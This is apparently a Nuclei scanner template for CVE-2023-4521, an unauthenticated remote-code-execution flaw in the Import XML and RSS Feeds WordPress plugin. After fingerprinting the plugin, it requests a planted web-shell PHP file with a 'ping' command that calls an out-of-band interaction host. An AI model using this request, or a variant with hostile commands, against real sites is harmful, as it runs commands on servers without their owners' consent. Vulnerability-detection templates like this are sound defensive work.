id: CVE-2023-4521 info: name: Import XML and RSS Feeds < 2.1.5 - Unauthenticated RCE author: princechaddha severity: critical description: The Import XML and RSS Feeds WordPress plugin before 2.1.5 allows unauthenticated attackers to execute arbitrary commands via a web shell. impact: | Allows unauthenticated attackers to execute arbitrary code on the target system. remediation: | Update the Import XML and RSS Feeds WordPress Plugin to the latest version to mitigate the vulnerability. reference: - https://wpscan.com/vulnerability/de2cdb38-3a9f-448e-b564-a798d1e93481 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2023-4521 epss-score: 0.92609 epss-percentile: 0.99758 cpe: cpe:2.3:a:mooveagency:import_xml_and_rss_feeds:*:*:*:*:*:wordpress:*:* metadata: max-request: 2 vendor: mooveagency product: "import_xml_and_rss_feeds" framework: wordpress shodan-query: "http.html:\"import-xml-feed\"" fofa-query: "body=\"import-xml-feed\"" tags: cve,cve2023,wordpress,wp,wpscan,unauth,rce,mooveagency,vuln flow: http(1) && http(2) http: - raw: - | GET /wp-content/plugins/import-xml-feed/readme.txt HTTP/1.1 Host: {{Hostname}} matchers: - type: word internal: true words: - 'Import XML and RSS Feeds' - method: GET path: - "{{BaseURL}}/wp-content/plugins/import-xml-feed/uploads/169227090864de013cac47b.php?cmd=ping+{{interactsh-url}}" matchers: - type: word part: interactsh_protocol words: - "dns" # digest: 4a0a00473045022100e5823cdcfde94fcafca0e51069900a46f76e63ae56a846a9c6c896e5740ba74402200d746f74b2a41e416b9f1f4c575a787419dd6d73898f8277a2facc9a896e073b:922c64590222798bb761d5b6d8e72950